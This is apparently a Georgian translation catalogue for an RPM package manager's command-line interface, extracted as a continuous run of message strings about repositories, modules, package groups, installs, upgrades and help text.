ჯგუფები არ ემთხვევა:გაფრთხილება: %s-ის ჩატვირთვის პრობლემა, გამოტოვებულია.ზომბიმეტსახელებზე შესასრულებელი ქმედებებიტრანზაქციისთვის კომენტარის დამატებამეტსახელის განსაზღვრებაყველაარგუმენტი ჯგუფის ქვებრძანებისთვისხელმისაწვდომიახელმისაწვდომი ქვებრძანებებია: {} (ნაგულისხმევი), {}ცუდი ფორმატი: %sგაფუჭებული ჯგუფები ან მოდულები: გაფუჭებული პაკეტები: შეცდომის ჩასწორებაპაკეტების ხელმისაწვდომი განახლებების შემოწმებაკონფიგურაციის ფაილის მდებარეობაფერების გამოყენების ჩართვავერსიის დაწევადაყენებაგადაყენებაგანახლებაგამართვის გამოტანის დონეrpm-ის გამართვის დონემეტსახელების გადაწყვეტის გამორთვაყველა დამატების გამორთვაexcludepkgs-ის გამორთვადამატებ(ებ)ის გამორთვა სახელის მიხედვითგამორთულიასაჭირო ინფორმაციის გამოტანაპაკეტების რეკომენდაციების ჩვენებაპროგრამების მორგებული რეპოზიტორიების ჩვენებაპაკეტს მოყოლილი დოკუმენტაციის არ-დაყენებამზადაამოდულის ნაკადის ჩართვამეტსახელების გადაწყვეტის ჩართვადამატების სახელით ჩართვაჩართულიარეპოზიტორიის ჩართვა: %sგაუმჯობესებაშეცდომების გამოტანის დონემცდარიმეტამონაცემების ქეშის შექმნაგააჩნია უცნობი სტატუსი.ჯგუფიდან არასავალდებულო პაკეტების ჩართვადაყენებულიასწორია.მოდულარული პაკეტების სიარეპოზიტორიის '{}' ჩატვირთვის შეცდომა: {}არქტიტექტურააღწერასახელიპაკეტირეპოზიტორიაზომაშეჯამებავერსიაბრძანების მოლოდინის მაქსიმალური დრონაკლული ჯგუფები ან მოდულები: ნაკლული პაკეტები: nახალი პაკეტიnoპაკეტების მხოლოდ გადმოწერაშესაბამის წყაროს RPM-ზე მუშაობასხვა შეტყობინებებიჩუმი ოპერაციაპაკეტის თავიდან დაყენებაყველა მოდულური პაკეტის წაშლადაკეშილი მონაცემების წაშლადუბლირებული პაკეტების წაშლაჩანაცვლებარეპო %s: 0x%s უკვე შემოტანილიარეპო %s: შემოტანილია გასაღები 0x%s.რეპოს idრეპოს სახელიმოდულის საწყის მდგომარეობაში დაბრუნებასაწყისი პაკეტების შესაძლებლობების გადაწყვეტამხოლოდ IPv4 მისამართების გადაწყვეტამხოლოდ IPv6 მისამართების გადაწყვეტაგაუშვით ინტერაქტიური {prog} გარსიმოძებნეთ საკვანძო სიტყვის შესაბამისი პაკეტებიუსაფრთხოებამიუთითეთ დაყენების root საქაღალდეარქიტექტურააღწერასახელიპაკეტირეპოზომაშეჯამებავერსიაყველა პაკეტების ჩვენება (ნაგულისხმევი)ნაგულისხმევად ყველა პრობლემის ჩვენებაყველა რეპოს ჩვენებაჯგუფის ID-ების ჩვენებადამალული ჯგუფების ჩვენებაგანახლებამდე ცვლილებების ჟურნალის ჩვენებაპაკეტის ცვლილებების ჟურნალის ჩვენებაბრძანების დახმარების ჩვენებადამოკიდებულებების პრობლემების ჩვენებაგათიშული რეპოების ჩვენებაასლის პრობლემების ჩვენებაჩართული რეპოების ჩვენება (ნაგულისხმევი)რეკომენდაციების შესახებ ინფორმაციის ჩვენებარეკომენდაციების ჩვენებაამოსაღები პაკეტების ჩვენებამხოლოდ თვითწაშლადი პაკეტების ჩვენებამხოლოდ ხელმისაწვდომი ჯგუფების ჩვენებამხოლოდ ხელმისაწვდომი პაკეტების ჩვენებამხოლოდ გამორთული მოდულების ჩვენებამხოლოდ ჩართული მოდულების ჩვენებამხოლოდ დამატებითი პაკეტების ჩვენებამხოლოდ დაყენებული ჯგუფების ჩვენებამხოლოდ დაყენებული მოდულების ან პაკეტების ჩვენებამხოლოდ დაყენებული პაკეტების ჩვენებამხოლოდ ახლახანს შეცვლილი პაკეტების ჩვენებამხოლოდ განახლებების ჩვენებაპაკეტის წყაროს RPM-ის სახელის ჩვენებაპრობლემების მომწოდებელთან ერთად ჩვენებაპროფილის შემცველობის ჩვენებაპაკეტების რეკურსიული ხის ჩვენებარჩევების მიმოხილვის ჩვენება (ნაგულისხმები){prog}-ის ვერსიის ჩვენება და გასვლამდგომარეობავერსიის დაწევადაყენებაგადაყენებაგანახლებაძებნის გასაღებიჭეშმარიტიუცნობისაკონტროლო ჯამის მხარდაუჭერელი ტიპი: %sგანახლებებიოპერაციების ღრმა დეტალებიyდიახ{}
   გარსიდან გასვლა{}
   ტრანზაქციის ნაკრების გადაწყვეტა{}
  ტრანზაქციის გაშვება{} [ბრძანება]
    დახმარების დაბეჭდვა{} უკვე არსებობს. გადავაწერო?{} ამოღებულია {}-ის მიერ